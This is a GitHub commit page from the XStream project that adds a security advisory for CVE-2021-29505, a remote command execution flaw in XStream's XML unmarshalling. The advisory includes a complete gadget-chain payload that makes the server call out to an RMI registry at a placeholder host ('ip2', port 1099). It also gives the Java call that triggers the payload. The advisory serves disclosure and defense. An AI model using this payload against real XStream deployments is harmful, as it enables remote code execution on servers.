-
Notifications
You must be signed in to change notification settings - Fork 224
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add description of CVE-2021-29505 and bug fix.
- Loading branch information
Showing
4 changed files
with
152 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,119 @@ | ||
| <html> | ||
| <!-- | ||
| Copyright (C) 2021 XStream committers. | ||
| All rights reserved. | ||
| The software in this package is published under the terms of the BSD | ||
| style license a copy of which has been included with this distribution in | ||
| the LICENSE.txt file. | ||
| Created on 8. May 2021 by Joerg Schaible | ||
| --> | ||
| <head> | ||
| <title>CVE-2021-29505</title> | ||
| </head> | ||
| <body> | ||
|
|
||
| <h2 id="vulnerability">Vulnerability</h2> | ||
|
|
||
| <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p> | ||
|
|
||
| <h2 id="affected_versions">Affected Versions</h2> | ||
|
|
||
| <p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is | ||
| affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security | ||
| framework</a> with a whitelist limited to the minimal required types.</p> | ||
|
|
||
| <h2 id="description">Description</h2> | ||
|
|
||
| <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects. | ||
| XStream creates therefore new instances based on these type information. An attacker can manipulate the processed | ||
| input stream and replace or inject objects, that result in execution of a local command on the server.</p> | ||
|
|
||
| <h2 id="reproduction">Steps to Reproduce</h2> | ||
|
|
||
| <p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and | ||
| unmarshal it again with XStream:</p> | ||
| <div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'> | ||
| <unserializable-parents/> | ||
| <java.util.PriorityQueue> | ||
| <default> | ||
| <size>2</size> | ||
| </default> | ||
| <int>3</int> | ||
| <javax.naming.ldap.Rdn_-RdnEntry> | ||
| <type>12345</type> | ||
| <value class='com.sun.org.apache.xpath.internal.objects.XString'> | ||
| <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj> | ||
| </value> | ||
| </javax.naming.ldap.Rdn_-RdnEntry> | ||
| <javax.naming.ldap.Rdn_-RdnEntry> | ||
| <type>12345</type> | ||
| <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> | ||
| <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> | ||
| <parsedMessage>true</parsedMessage> | ||
| <soapVersion>SOAP_11</soapVersion> | ||
| <bodyParts/> | ||
| <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> | ||
| <attachmentsInitialized>false</attachmentsInitialized> | ||
| <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> | ||
| <soapPart/> | ||
| <mm> | ||
| <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> | ||
| <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> | ||
| <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> | ||
| <names> | ||
| <string>aa</string> | ||
| <string>aa</string> | ||
| </names> | ||
| <ctx> | ||
| <environment/> | ||
| <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> | ||
| <java.rmi.server.RemoteObject> | ||
| <string>UnicastRef</string> | ||
| <string>ip2</string> | ||
| <int>1099</int> | ||
| <long>0</long> | ||
| <int>0</int> | ||
| <short>0</short> | ||
| <boolean>false</boolean> | ||
| </java.rmi.server.RemoteObject> | ||
| </registry> | ||
| <host>ip2</host> | ||
| <port>1099</port> | ||
| </ctx> | ||
| </candidates> | ||
| </aliases> | ||
| </it> | ||
| </mm> | ||
| </multiPart> | ||
| </sm> | ||
| </message> | ||
| </value> | ||
| </javax.naming.ldap.Rdn_-RdnEntry> | ||
| </java.util.PriorityQueue> | ||
| </java.util.PriorityQueue> | ||
| </pre></div> | ||
| <div class="Source Java"><pre>XStream xstream = new XStream(); | ||
| xstream.fromXML(xml); | ||
| </pre></div> | ||
|
|
||
| <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p> | ||
|
|
||
| <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p> | ||
|
|
||
| <h2 id="impact">Impact</h2> | ||
|
|
||
| <p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by | ||
| manipulating the processed input stream.</p> | ||
|
|
||
| <h2 id="workarounds">Workarounds</h2> | ||
|
|
||
| <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p> | ||
|
|
||
| <h2 id="credits">Credits</h2> | ||
|
|
||
| <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p> | ||
|
|
||
| </body> | ||
| </html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters